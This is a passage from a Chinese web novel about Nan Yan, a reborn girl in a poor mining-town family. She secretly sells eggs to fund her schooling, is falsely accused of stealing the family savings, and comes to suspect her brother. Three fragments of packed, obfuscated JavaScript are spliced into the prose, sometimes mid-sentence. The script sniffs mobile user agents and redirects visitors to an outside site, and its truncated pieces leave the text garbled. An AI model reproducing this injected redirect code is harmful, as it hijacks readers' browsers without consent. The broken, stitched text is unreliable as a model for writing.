比如那本笔记本,若能到手,不光自己能用了,或许还能跟包兰芝说“留着给小弟打草稿”,让她觉得这东西不算完全无用。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560559|186949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 下午的表彰大会在操场上举行,北风卷着尘土,吹得红旗猎猎作响。 孩子们裹着臃肿的棉衣,缩着脖子挤在一起,小脸冻得青紫。 李老师拿着名单,声音透过寒风传来。念到“南雁”时,她快步走上简陋的主席台。 校长将奖品递到她手中——一本红色塑料封皮的笔记本,印着“好好学习,天天向上”,还有一支顶端带着粉色橡皮的铅笔。 南雁紧紧攥住这两样东西。这是她两辈子以来,第一次,纯粹依靠自己挣来的认可。是她挣脱泥沼的第一步证明。 台下,刘小萍冲她用力眨眨眼,竖起大拇指。 南雁紧绷的嘴角,终于难以抑制地,向上弯起一个微小的弧度。 这是重生后,第一次有暖意,真正抵达心底。 然而,这份短暂的喜悦,在她回到家,将笔记本和铅笔呈到包兰芝面前时,迅速降温。 包兰芝正埋头缝补南天贵那件印着号码的队服,连眼皮都懒得抬:“啥东西?” “学校发的奖励。笔记本能写字,铅笔也好用。” 包兰芝这才抬起头,粗鲁地抓过笔记本,随手翻了两下,又掂了掂那支铅笔,脸上看不出什么喜怒:“嗯,这本子挺厚实,留着,以后给你弟当演算本正好。” 说着,顺手就把笔记本塞进了炕头那只上了锁的木箱深处,铅笔则随意丢在了桌角,和针头线脑混在一起。 南雁心里像被什么东西堵了一下,闷闷的,却终究没说什么。 至少,它们没被当场扔掉,还被赋予了“给小弟用”的价值,这意味着,在包兰芝心里,这“奖励”总算和“有用”沾了点边。 …… 可这点微不足道的进展,并没带来多久的安宁。 麻烦,像潜伏在暗处的毒蛇,总会寻踪而至。 这天傍晚,包兰芝照例去鸡窝摸蛋,手指在干草里扒拉了几下,脸色猛地沉了下来。 “不对!”她直起身,声音尖利,像钢丝刮过铁皮,“这鸡下蛋咋越来越稀拉了?前阵子还好好的,这三五天功夫,就少了俩!南雁!是不是你手脚不干净偷拿了?!” 南雁正趴在炕桌边写作业,闻言,手里的铅笔“啪嗒”一声掉在纸上,心脏骤然停跳,随即疯狂擂动,几乎要撞破胸腔蹦出来。 她藏在炕席下的三枚鸡蛋,正是这几天,趁着包兰芝不注意,一天一个摸出来的。 包兰芝果然察觉了!她对鸡下蛋的数量,比对家里几口人吃饭还上心!那是她能直接变现的“活钱”! “没……没有啊妈,”南雁强迫自己声音稳住,不敢露半分怯,“可能是……是天太冷了吧?鸡也不爱下蛋。” “天冷?”包兰芝几步跨到她面前,压迫感十足,“别人家的鸡咋没冻着?就咱家的鸡娇贵?说!是不是你偷了拿去换零嘴了?我告诉你小贱蹄子,你要是敢动卖鸡蛋的钱,我打折你的腿!” 南雁后背瞬间被冷汗浸透,脑子飞速旋转。 前几天,隔壁张婶来串门,还唉声叹气说家里鸡窝闹老鼠,叼走了两个蛋,当时包兰芝还跟着骂了半天街。 她立刻抓住这根救命稻草,急声道:“妈!我想起来了!张婶家前阵子不是闹老鼠,丢了好几个蛋吗?咱们家鸡窝……我昨天喂食的时候,好像也看见有老鼠屎!黑乎乎的!” 包兰芝猛地一愣,显然没料到她会扯出老鼠。 她皱着眉,狐疑地转身走到鸡窝旁,蹲下身,仔细扒拉了几下角落的干草,又伸手摸了摸。 “真有耗子?”她喃喃自语,脸色更难看了,“这还了得!这不祸害人吗!不行,得赶紧下夹子!不然这几个蛋,还不够填耗子肚皮的!” 她骂骂咧咧地站起身,风风火火地去找老鼠夹子了,总算暂时放过了南雁。 南雁暗暗吐出一口浊气,摊开手心,里面全是湿冷的汗。 她知道,这只是缓兵之计。 包兰芝精明似鬼,一旦发现老鼠夹子无效,或者鸡蛋数目依旧对不上,怀疑的矛头会再次,并且更凶狠地指向她。 必须尽快把鸡蛋脱手,换成更隐蔽、更有用的钱。 纸币轻薄,容易藏匿,能买纸笔,能悄悄攒起来,成为她未来远走高飞的盘缠。 她想到了刘小萍。 那丫头胆子大,路子野,整天在外面疯跑,连矿区小卖部那个抠门老板都能跟她搭上话。 她家条件也宽裕些,父母不像包兰芝把一分钱看得比磨盘大。 或许……刘小萍能帮她,神不知鬼不觉地,把这三枚鸡蛋,变成她南雁的第一笔“独立资本”。 7. 小小的进步(修) 天光未亮。 南雁揣着心事,慢吞吞地收拾书包,直到刘小萍扎着羊角辫,脚步“噔噔”地跑过门口,她才像终于等到信号的夜行者,快步追了上去。 两人沉默地走在坑洼的土路上,露水打湿了裤脚,冰凉地贴着皮肤。 直到拐进一条僻静的窄巷,南雁才猛地拽住刘小萍的胳膊,将人不由分说地拉进墙根的阴影里。 “小萍,帮个忙。”她飞快扫过巷口,确定无人,才松开手,掌心一片湿冷。 刘小萍拍着胸脯,羊角辫随着动作一跳,仗义道:“啥事?说!” 去年南雁被南天贵抢了窝头,饿得前胸贴后背,就是她偷偷揣着烤红薯,在土堆后面分了她大半块。 南雁不再犹豫,从书包最底层掏出个仔细叠好的蓝布小包,小心翼翼地展开——三枚白生生的鸡蛋赫然显现,蛋壳在稀薄的晨光里泛着温润的光泽。 “帮我问问,有人要鸡蛋么?刚摸的,还带着热气,保证新鲜。” 刘小萍的眼珠子瞬间瞪得溜圆,嘴张得能塞进鸡蛋:“雁子!你疯啦?!这要是让你妈知道,皮都得给你扒下来!” 这话绝非危言耸听。 矿区的鸡蛋金贵,是男娃的滋补品,是家里换油盐的硬通货。 包兰芝的泼辣在矿区是挂了号的,上个月南秀不小心摔碎一个蛋,被她撵着抽了半条街,哭嚎声至今让人心有余悸。 “别让她知道。”南雁喉咙发紧,“我攒了三个,想换钱买作业本。老师说了,下学期作业多,我那本快散架了。悄悄的……卖了钱,一个鸡蛋,分你一分。” 这是她能开出的最高价码。 一分钱,能买一小把瓜子,或是一颗甜得齁人的水果糖。 刘小萍盯着那三枚鸡蛋,又看看南雁,手指无意识地绞着衣角。 风险太大,一旦事发,南雁少不了皮肉之苦,自己也难逃干系。 可那一分钱的甜头,和帮朋友两肋插刀的义气,最终像两只手,推着她做出了决定。 她猛地一跺脚:“行!我帮你问!昨天矿东头王婶还来我家问我妈哪能买到鸡蛋,她家儿媳妇坐月子,正缺鸡蛋!我明儿一早就去探口风!” 第三天傍晚放学,刘小萍像只灵敏的狸猫,一把拽住南雁,钻进老地方。 她脸上是按捺不住的兴奋:“成了!王婶要了!按市价,一个五分!明天我把蛋捎过去,钱给你带回来!” 话音未落,她又猛地攥住南雁的手腕,力道不小,神色是前所未有的严肃:“不过你可把招子放亮了!蛋要是破了,或者让你妈逮住,可千万不能把我撂出来!” 南雁忙不迭点头,心头巨石轰然落地,连带着眉眼都松快了几分。 她从书包里摸出个用旧棉花裹得严严实实的“球”,小心翼翼递过去:“放心,裹了三层,摔都摔不破。” 自此,南雁的“地下航线”悄然开通。 她不敢贪多,每次只动用一两个鸡蛋,用最柔软的旧棉花层层包裹,深埋书包底层。 刘小萍成了固定的联络员,每次在无人的角落,将皱巴巴带着体温的毛票和分币飞快塞进她手里。 这些沾着汗水的硬币,被南雁藏进床板下那个捡来的罐头盒里。 铁盒被她用钉子钻了个小孔,每放一枚进去,都伴随着一声轻微脆响。 日子在繁重家务,如饥似渴的学习和这隐秘的“事业”中悄然滑过。 南雁像石缝里的草,拼命汲取着每一滴可能的养分。 课堂上的她脊背挺直,眼神钉在黑板上,生怕漏掉一丝信息;课间,当别的孩子追逐打闹,她趴在桌上奋笔疾书,或是默诵课文;深夜,待全家鼾声四起,她便凑在昏黄的灯下,啃读《新华字典》,将生字抄在废纸片上,翌日清晨再堵着李老师追问。 李老师愈发偏爱这个刻苦得近乎拼命的学生,课堂上不吝表扬,甚至将自己用旧的课本借给她:“南雁,保持住这股劲,初中、高中都不在话下。家里有难处,跟老师说。” 南雁重重点头,眼眶泛红。 她活了两辈子,除了女儿小安,鲜少有人如此纯粹地盼她好。 这份期望,她不能负。 然而,家中的硝烟,从不因她的隐忍而消散。 这天下午,南天贵篮球赛输了。 作为主力后卫,他投丢了关键一球,进门就把沾满汗土的队服狠狠掼在地上,发出沉闷的“啪”声。 看见南雁坐在缝纫机前看书,那点可怜的迁怒瞬间有了出口。 “看什么看!装什么相!家里活计看不见?老子比赛输,就怪你没把队服洗干净!”他吼着,唾沫星子几乎溅到南雁脸上。 南雁抬起头,眼神冷冽,没有半分退怯:“队服我用肥皂搓了三遍,投不进球,是你自己没本事。” “你还敢犟嘴!”南天贵恼羞成怒,输球的憋屈和被顶撞的火气轰然上涌,伸手就去夺南雁怀里的书。 南雁猛地将书死死抱在怀里,后退一步,后背重重撞上缝纫机,“哐当”一声巨响。 包兰芝拎着刚买的盐巴进门,撞见这幕,不问缘由便向南雁开火:“死丫头!你哥心里不痛快,你还拱火?书能当饭吃?能帮你哥娶媳妇?赶紧给你哥赔不是!” 南雁咬紧下唇,沉默以对。 她深知,与包兰芝论理是对牛弹琴,与南天贵争辩更是与虎谋皮。 她只是更紧地抱住那本书,像抱住湍流中唯一的浮木。眼神里的倔强,是无声的宣言。 南天贵见有母亲撑腰,冷哼一声,转身进屋,临走泄愤似的踢翻板凳,刺耳的刮擦声撕裂空气。 包兰芝的骂声追着南雁:“读读读!读不出名堂,看我不撕了你的书!不如早点换彩礼,给你哥娶媳妇,也算你没白吃家里饭!” 南雁充耳不闻,重新坐回缝纫机前,就着窗外渐暗的天光,继续看她的书。 …… 几天后,矿上贴出告示,举办“职工家属学习会”,美其名曰提升家属文化水平,实则暗藏彩头。 学得好的,奖励一块上海牌肥皂,一包洗衣粉。 包兰芝本嗤之以鼻,觉得有那功夫不如多喂两把猪草。可“上海牌肥皂”几个字像钩子,精准钩住了她的心尖尖。 她命令道:“雁子!跟我去!你识字,帮我记笔记!得了奖励,肥皂归我,洗衣粉也归我!” 南雁心念微动。 学习会能接触新知识,或许还能见到矿上那位传闻中的高中生文书。 她点头:“好。” 学习会在旧仓库改的大礼堂举行,屋顶渗着水渍,屋内挤满了眼神灼灼的家属,手里攥着小本,目标明确——奖励。 讲课的是办公室文书,戴眼镜,身着中山装的年轻人,语调温和。 从“人、口、手”讲到基础算术。 南雁笔走龙蛇,废报表订成的本子上,字迹工整清晰。 包兰芝那点旧私塾底子,对付简单账目尚可,遇到乘法口诀便抓了瞎,全靠南雁在一旁低声提点。 中场休息,孙婶扭着腰过来,看见南雁伏案疾书,酸水直冒:“哟,雁丫头这笔杆子摇得,赶上文化人了!不过话说回来,丫头片子书读得再好,还能飞出这矿区?到头来不还是嫁人生娃?不如早点换彩礼,帮衬你哥是正经!” 周遭几个婆娘发出附和的低笑。 南雁抬起头,目光平静如水:“孙婶,李老师说,新社会男女平等。我若能读出来,挣的岂是那点彩礼能比?到时给家里扯新布,给妈买上海牌肥皂,给哥攒厚实彩礼,岂不更风光?” 孙婶被噎得一愣,脸上堆砌的笑容瞬间垮塌。 周围笑声戛然而止,有人暗自点头。 包兰芝适时凑过来,大概觉得女儿这话给她长了脸,连忙帮腔:“就是!我家雁子要真出息了,我天天用上海牌肥皂!羡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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照顾四岁魔王南峰,七岁哭包南秀,六岁南玉和五岁南春的重担,结结实实压在南雁瘦弱的肩上。 包兰芝临行前,将一箩筐活计砸过来:做饭、洗衣、喂猪、喂鸡、看孩子,桩桩件件,不容差错。 她捏着鸡毛掸子,眼神凌厉如刀:“把家给我守好了!弟妹磕着碰着,家里少根针,我回来剥你的皮!读书?想都别想!活儿干利索了再说!” 南雁沉默地听着,将所有指令囫囵吞下。 包兰芝母子一走,家瞬间炸锅。 南峰上树掏鸟,下地撵鸡,鸡飞狗跳;南秀为块丢失的花手帕能哭湿衣襟;南玉、南春更是混世魔王,饿哭困闹,尤其南春,入夜非得南雁抱着才能入睡。 南雁榨干了自己所有的耐心。 她给弟妹派活:南秀摘菜洗菜,干净了奖励一段《西游记》;南玉负责扫地,虽不干净也能去尘;南春任务最简单——看住南峰别乱跑,乖乖坐门口就有烤红薯干。 她用有限的食材绞尽脑汁。 玉米面掺红薯蒸窝头,红薯切条烤得香甜软糯,成了孩子们难得的零嘴。青菜煮汤,虽清汤寡水,也能下饭。 南雁天不亮起身,喂猪喂鸡,张罗早饭;日头最毒时浆洗衣物,晾满院落;深夜哄睡弟妹,再就着如豆灯火,将次日活计细细列在废纸订成的小本上。 几日下来,家中竟也维持着一种粗糙的秩序。 南峰不再爬树,因为,南雁说树上有咬人的虫;南秀眼泪见少,因为,每日有故事可期;南玉、南春也知饿时等饭,困时寻姐。 连串门的张婶都啧啧称奇:“雁子这丫头,了不得!小小年纪能撑起一个家!比我家那十岁还只会伸手要糖的混小子强到天上去了!” 8. 天打雷劈的贼(修) 半个月后,包兰芝和南天贵风尘仆仆地从老家回来了。 南天贵走在前面,深蓝色工装裤上溅满泥点,嘴角耷拉着,阴沉得能拧出水。 他看也没看迎上来的弟妹,径直往屋里闯,经过南雁身边时,胳膊肘狠狠一撞—— “哗啦”一声,南雁手里的鸡食撒了一地。 她没吭声,她早就摸透了这位“宝贝儿子”的脾气。 估计是老家相亲的姑娘没一个入他眼,憋了一路的邪火,找她这撒来了。 包兰芝跟在后面,裹着件花衬衫,还没顾上拍打身上的灰,那双精明的眼睛已经把屋里屋外扫了个遍。 猪没掉膘,鸡没少蛋,几个小的也没饿出尖下巴。 非但如此,屋里屋外竟比他们走时还齐整。 她的目光最终钉在南雁身上。 这丫头黑瘦得脱了形,胳膊腿细得像麻秆,风一吹就能折。 唯独那双眼睛依旧不变。 包兰芝张了张嘴,那句习惯性的挑剔在舌尖滚了几滚,硬是没找着落脚的地儿,最后只从鼻腔里挤出一声冷哼:“还行,家没给你败光。” 南雁垂着眼,声音低顺:“妈,路上辛苦了,我去烧点热水。” 转身的刹那,她轻轻吐出一口气。心里那块巨石终于落地——这半个月的苦没白受。 她不仅证明了家里离不得她,更让向来挑剔的包兰芝认了她的能耐。 在这个重男轻女的家里,这点卑微的价值,就是她能继续读书的底气。 …… 暑假快收尾时,南雁揣着那个蓝布包,手心攥得全是汗。 布包里是她攒了几个月的鸡蛋钱——七毛二分,皱巴巴的纸币叠得整整齐齐。 还有期末考试进步时,李老师奖的那本红色封面笔记本。 她没舍得用,特意跑去供销社,跟柜台后的阿姨磨破了嘴皮子,才换回一本最便宜的《成语小词典》。 词典薄薄的,纸页泛黄,带着股淡淡的油墨味。 南雁把它贴在胸口,只觉得心口像被什么温热的东西填满了,涨得发酸。 这不是谁施舍的,是她靠自己挣来的,是真正属于她的东西。 她小心翼翼地用旧挂历纸包了书皮,藏进只有自己知道的角落。 新学期,南雁升了四年级。 她像块干裂的海绵,拼命吮吸着知识的汁水,成绩稳扎稳打地往上爬,已是班里拔尖的苗子。 班主任李老师越来越看重这个闷不吭声,眼里有光的丫头,有时让她去帮那些榆木疙瘩开窍。 有次讲完题,李老师悄悄塞给她半块橡皮:“拿着,下次擦错题用,别总用手指头蹭。” 南雁攥着那块带着余温的橡皮,鼻子一酸,眼眶热辣辣的。 不知不觉间,南雁在班上不再是那个可以随便踩一脚的“小透明”了。 可树欲静,风不止。 一场风波裹着萧瑟的秋风,猝不及防地砸了过来。 星期四的下午,南雁放学回来,刚走到家门口那棵歪脖子老槐树下,就听见屋里传来包兰芝尖利的哭骂声,跟杀猪似的,还夹杂着南秉义沉闷的咆哮,以及搪瓷缸子摔在地上的刺耳脆响。 她心里一紧,小跑着推开那扇吱呀作响的木门。 屋里一片狼藉。 凳子四仰八叉,喝水的搪瓷缸子摔在地上,瘪了一大块,瓷片崩得到处都是。 包兰芝直接瘫坐在地,双手拍打着地面,哭得撕心裂肺:“我的钱啊!我一分一分抠出来的血汗钱啊!哪个天打雷劈的贼偷了啊!你不得好死——!” 南秉义脸色铁青,额上青筋暴跳,冲着包兰芝怒吼:“嚎什么丧!早跟你说过一百遍!存信用社!存起来!你偏不听!自作聪明藏那破炕洞里!现在好!毛都不剩!那是给天贵娶媳妇的钱!是全家多少年的底子!” 南雁脑子“嗡”的一声—— 钱丢了! 包兰芝藏在炕洞里的私房钱,全没了! 那笔钱她知道,是包兰芝从牙缝里省出来的,是给南天贵娶媳妇的指望,也是这个家赖以喘息的命根子。 她心口像被人猛地塞进一块冰,直往下坠。 “谁干的?”南秉义的目光刀子似的扫过屋里的孩子,南雁也跟着看过去。 南天贵靠在门框上,眼神躲躲闪闪,不敢看人;南峰吓得小脸煞白,缩在门后;南秀低着头,用脚尖一下下蹭着地面;南玉和南春站在一边,小嘴瘪着,眼看就要哭出来。 一股不祥的预感缠上南雁心头。 外贼? 外贼怎么会知道钱藏在炕洞? 那地方包兰芝藏得极隐秘,连南秉义都只知道个大概。 接下来两天,家里低气压得能憋死人。 包兰芝像被抽了魂,肿着眼泡,丢三落四,对南雁和几个小的非打即骂:“没用的赔钱货!家里遭了贼都不知道!白养你们了!” 南雁洗碗慢了点,她上去就狠狠推了南雁一把。 南雁没站稳,摔在地上,膝盖磕在坚硬的地面上,钻心地疼。 她咬紧下唇,没让眼泪掉下来。 因为她知道,包兰芝这是把丢钱的邪火,一股脑全撒在了她们身上。 南秉义阴着脸,一根接一根抽着呛人的烟卷,屋里乌烟瘴气。 他看谁都不顺眼,尤其看包兰芝,眼神里全是“早知如此”的怨气和鄙夷。 晚间吃饭,包兰芝多盛了半碗糊糊,他直接把碗夺过来,“哐当”一声倒回锅里:“钱都丢了,还吃这么多!想把家吃垮?” 南雁更是大气不敢喘,走路踮着脚尖,连洗碗都轻手轻脚,生怕弄出一点动静。 她知道,这个家现在就是个一点就炸的火药桶。 更让她心急如焚的是,钱丢了,家里必然更紧巴。 包兰芝第一个要砍的,就是她这“白吃饭还费钱”的读书机会。 上次表妹来提亲,包兰芝那犹豫闪烁的眼神,她可记得清清楚楚。 可没等她琢磨出对策,一场针对她的危机,已抢先一步降临。 这天下午,南玉在屋里和南春疯跑打闹,“咚”的一声撞到南雁睡的破床床腿。 床板猛地一晃,一块松动的木板缝里,隐约露出个生锈铁盒的一角。 南玉好奇,蹲在地上抠了半天,硬是把那盒子抠了出来。 她摇了摇,里面传来“哗啦哗啦”的磕碰声。 南玉像是抓住了什么了不得的把柄,抱着盒子就往外跑,当着刚进门的南秉义和包兰芝的面,尖着嗓子嚷嚷:“妈!爸!大姐藏了个盒子!里面肯定有好东西!是不是她偷了钱藏起来的?” 这话像滴进滚油里的水,“轰”的一声炸了。 包兰芝正为丢钱心如刀绞,一听这话,眼珠子瞬间瞪得溜圆,几步冲过来夺过盒子,厉声喝道:“南雁!你个死丫头!给老娘滚过来!说!这是啥?!你是不是偷了老娘的钱?!” 南秉义也皱紧眉头,目光锐利地射向刚从灶房出来的南雁。 他手里还拿着下井用的沉重矿灯,灯绳晃来晃去,在地上投下忽明忽暗的影子,更添了几分令人窒息的压迫感。 南雁的心跳漏了一拍,手心瞬间沁出冷汗。 她强迫自己镇定。 她看着南玉那带着得意和报复的眼神,瞬间就明白了。 昨天南玉贪玩没看好南春,让南春摔在地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560561|186949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磕破了膝盖,她没忍住,打了南玉屁股一下。 果然,这丫头跟上辈子一个德行,睚眦必报,逮着机会就想狠狠踩她一脚。 她走上前,语气出乎意料的平静:“妈,我没拿钱。盒子确实是我的。” “你的?你哪来的钱买盒子?里面装的啥?打开!”包兰芝声音尖厉得能划破耳膜,手指几乎戳到南雁鼻子上,灼热的唾沫星子喷了她一脸。 南雁接过那冰冷的铁盒,手指微颤,打开了搭扣。 “咔哒”一声轻响。 里面没有想象中卷起来的纸币,只有几截短得几乎捏不住的铅笔头,旧了,磨损了,但每一截都削得异常整齐,能看出主人近乎固执的珍惜。 包兰芝一把抓过那些铅笔头,翻来覆去地看,几乎要将那脆弱的木屑捏碎,像是要从上面找出隐藏的钱痕:“你弄个破盒子装这破烂干啥?说!是不是把钱藏别的地方了?” 南雁抬起头,直视着包兰芝因为愤怒和怀疑而扭曲的眼睛。 那眼神里没有怯意,只有让人心头发酸,喉咙发紧的认真:“妈,这些铅笔头,是我从一年级用到现在的。每一截,都用到实在捏不住了,才舍得留下。我攒着,是想告诉自己,读书不容易,得珍惜。” “看着它们,我就记得我还能念书的日子。要是哪天真不能念了……我就看看这些铅笔头,想想我曾经也读过书。” 南秉义看着那些被女儿视若珍宝的铅笔头,突然沉默了。 他想起自己小时候,家里穷得连煤油灯都点不起,更别说读书了。 只能跟着爹下到那暗无天日的井底挖煤,后来十六岁就参了军,把命别在裤腰带上……那些短小的铅笔头,在他眼里,突然就不是破烂了。 那是一个孩子想读书,想挣脱这泥潭般的日子,那点微弱的念想。 他手里那杆烟袋锅子无意识地转了转,最终,什么也没说。 包兰芝的疑心却没完全消散,依旧上下打量着南雁,目光像钩子,仿佛要从她单薄的身子里搜出隐藏的赃款。 南雁低着头,眼珠子在阴影里飞快一转,突然转向旁边还在抽噎的南玉,声音陡然拔高,带着被冤枉的委屈和压抑不住的愤怒:“小玉!我知道你恨我昨天打你!可你不能因为这就红口白牙污蔑我偷钱!钱丢了,全家都着急上火,你随便瞎说,往自己姐姐身上泼脏水?妈平时是咋教的?要诚实!你这不是诚心给家里添乱吗?是想让爸妈更生气、更难受吗?!” 南玉被她这突如其来的爆发吼得一懵,慌了神,小嘴一瘪,“哇”地大声哭起来,语无伦次:“我……我没有……我就是看见盒子了……我没说她偷钱……” 包兰芝见南玉哭得上气不接下气,铁盒里也确实只有寒酸的铅笔头,再想到南雁平时确实不像有零花钱能偷藏的样子,心里的怀疑顿时消了大半,转而化为一股无处发泄的烦躁,冲着南玉骂道:“哭什么哭!没事找事!滚一边去!再瞎说八道,看我不撕烂你的嘴!” 骂完,又狠狠瞪了南雁一眼,语气不善:“把这些破烂收好!以后再神神叨叨的,看我不给你全扔了!” 南雁的后背,早已惊出一层黏腻的冷汗。 她知道,眼前这一关,算是险险过去了。 可真正的麻烦,像隐藏在暗处的毒蛇,还在后面吐着信子。 她必须尽快找出那个真正偷钱的人,洗清自己身上莫须有的嫌疑。否则,下一次,她未必还能有这样的运气。 而且,她也彻底看清了南玉——年纪虽小,心思却不简单,自私又记仇,还容易被别人当枪使。以后,必须得离这丫头远点。 混乱的思绪中,一个模糊而大胆的计划,开始在她心底慢慢凝聚、成型。 9. 藏哪了 包兰芝这几日像是被抽干了魂,除了三顿饭时勉强爬起来扒拉几口,其余时间都黏在土炕上,手指无意识地抠着炕沿那些被岁月啃噬出的裂缝。 屋里光线昏暗,只有她间或发出的一声长叹,像漏了风的老风箱,把最后一点活气也抽干了。 她总恍惚觉得钱没丢,定是自己记错了地方。 有时她会猛地坐起,乱发黏在枯瘦的脸颊上,眼神发直,突然开始翻箱倒柜。 动作带着一股狠绝的劲头,旧衣服被胡乱抛在地上,腌菜坛子“哐当”倒地,褐色的汁液蜿蜒渗入砖缝,她也浑然不觉,只死死盯着箱底那几块松动的木板,仿佛能从中盯出金银来。 南秉义下井的时间越来越长,回来便闷头抽烟,呛人的烟雾几乎要将那矮小的屋子填满。 话,是愈发少了。 第三天傍晚,他正要出门上夜班,一脚刚踏出院门,就瞥见南天贵鬼鬼祟祟地往外溜。 少年身上那件藏青色衣服空荡荡的,手紧紧插在裤兜里,脚步放得极轻。 南秉义:“去哪?” 南天贵吓得一哆嗦,转过身时脸上已堆起略显僵硬的笑:“爸,我去找同学……作业写完了,就玩一小会儿。” 南秉义的目光落在他那明显鼓囊起来的裤兜上,眉头拧成了疙瘩。 刚要再问,包兰芝尖利的骂声便从屋里追了出来:“玩!就知道玩!家底都让人掏空了,你还有脸玩!” 南天贵趁这间隙,泥鳅似的溜了,背影迅速被浓重的暮色吞没。 南秉义望着那方向,直到烟蒂灼烫了指尖,才猛地回神,将烟蒂狠狠摁在地上,用鞋底碾了又碾。 南雁在灶台边沉默地忙碌着,眼皮始终留着一道缝。 她早觉出南天贵不对劲。 这几日,他虽不敢明目张胆顶撞包兰芝,但那眼神总飘忽着,趁人不备就偷偷摸向口袋,一副心神不宁又强作镇定的模样。 “大姐!” 南秀的声音带着野草般的生气从院外扎进来。她手里挥舞着一根毛茸茸的狗尾巴草,人已蹦到了灶台边,眼睛亮晶晶的:“我看见大哥了!” 南雁正往大铁锅里舀水,闻言,手腕一顿。她侧过脸,嘴角牵起一点模糊的弧度:“看见就看见了,他不是找同学玩去了么?值得你这样大呼小叫。” “才不是呢!”南秀凑得更近,压低声音,带着分享秘密的兴奋,“他在陈叔小卖部呢!陈叔正给他拿烟!红盒的,‘红梅’!还有动物饼干!黄纸包,上面画着小老虎,我看得真真儿的,饼干渣都掉出来了!” 水壶“咕嘟”一声,喷出一股白汽。 南雁伸手去提,手猝然触到滚烫的壶壁,猛地缩回。指腹上,一片刺目的红。 她没吭声,可心里那根早已绷到极致的弦,随着这灼痛,“铮”地一声断了。 南天贵抽烟,向来是捡南秉义的烟屁股,或是厚着脸皮蹭矿上工友的。 他哪来的钱买整包“红梅”? 还有那动物饼干,一小块就要五分,一大包少说也得两块。 往年只有过年,包兰芝才舍得抠出几毛钱,给她的“宝贝儿子”买上几块甜甜嘴。 小弟南峰,连闻味儿都轮不上。 前阵子南春发高烧,小脸烧得通红,包兰芝宁愿抱着孩子深一脚浅一脚去找邻村的土郎中,用那不知名的草灰泡水灌下去,也舍不得花五毛钱去矿上卫生所拿片退烧药。 在这刚丢了“命根子”,人人自危的家里,除了那笔不翼而飞的“巨款”,谁还能让他出手如此阔绰? 除非…… 南雁低头,看向灶膛里跳跃的火舌,那火光将她的影子投在斑驳的土墙上,扭曲,放大,又骤然缩小。 那个冰冷的念头一旦破土,便如藤蔓般疯狂滋长,缠得她几乎窒息——是南天贵,是他偷了钱。 想到这,南雁扶住冰冷的灶台,才勉强站稳。指腹上那点烫伤,此刻反而成了唯一的知觉。 她太了解包兰芝了。 对南天贵,她是捧在手里怕摔了,含在嘴里怕化了。 小时候南天贵把南春推进粪坑,包兰芝也只是捏着他耳朵笑骂句“小讨债鬼”;后来他偷拿南秉义的酒钱去赌,包兰芝愣是起早贪黑攒了半个月鸡蛋,悄没声地把窟窿填上,连句重话都没舍得说。 这次呢? 偷的是一百多块的“媳妇本”,是包兰芝半辈子的心血! 包兰芝会如何? 南雁闭了闭眼,不敢深想。 但她清楚,无论包兰芝如何处置南天贵,这巨大的亏空总得有人来填。 届时,包兰芝怨毒的目光会一遍遍剐过她的课本,骂她是“白吃饭的赔钱货”;会殷勤地将那些眼神浑浊的媒婆往她跟前领;甚至会把她那本视若珍宝的《成语小词典》毫不留情地扔进灶膛,就像当年烧掉南秀那些色彩斑斓的画纸一样,眼都不会眨一下。 不行!绝对不行! 南雁深吸一口气,强迫自己翻涌的心潮平复。 南秀的话终究是小孩子的话,包兰芝未必全信。就算信了,以南天贵的狡猾,也大可推说烟是同学给的,饼干是捡的。 她需要证据。实打实的,能让南天贵无从狡辩的证据。 思绪飞转。 南天贵买了烟和饼干,绝不会一次消耗完,必定有藏匿之处。 书包?床底?还是……外面? 南雁脑中灵光一闪——矿区废料场后面那个破棚子! 南天贵常和几个狐朋狗友在那里厮混,那里堆满了废弃的矿车零件,锈蚀的铁板和断轨,人迹罕至,正是藏匿赃物的绝佳地点。 想到此处,南雁不再犹豫,迅速拎起门边散发着馊味的泔水桶,扬声朝里屋道:“妈,我去倒垃圾!” 暮色四合,路边的野草长得疯野,刮过裤脚,发出“沙沙”的轻响。 远处矿山的探照灯像一只巨大的独眼,明灭不定,将人的影子拉扯得狰狞变形。 南雁接近破棚子时,里面传来压抑的嬉笑声,还有撕扯包装纸的“窸窣”声。 她矮下身,借着一堆废弃矿料的掩护,小心探出头。 棚内,南天贵大剌剌地坐在一根锈迹斑斑的铁管上,指尖夹着烟,猩红的火点在昏暗中明明灭灭。 他脸上是毫不掩饰的得意,嘴角几乎咧到耳根。 旁边蹲着的是矿口陈婶家的二柱,正狼吞虎咽地往嘴里塞动物饼干,碎渣簌簌掉落,手里还紧紧攥着半包。 “天贵,你小子行啊!哪搞来的钱?又是好烟又是饼干的!”二柱含混不清地问,眼睛却死死盯着南天贵手边那盒“红梅”。 南天贵吸了一口烟,娴熟地吐出一个烟圈,下巴扬得老高:“少打听!哥们儿现在手头宽裕!以后跟着我,亏待不了你!吃香喝辣,不在话下!” 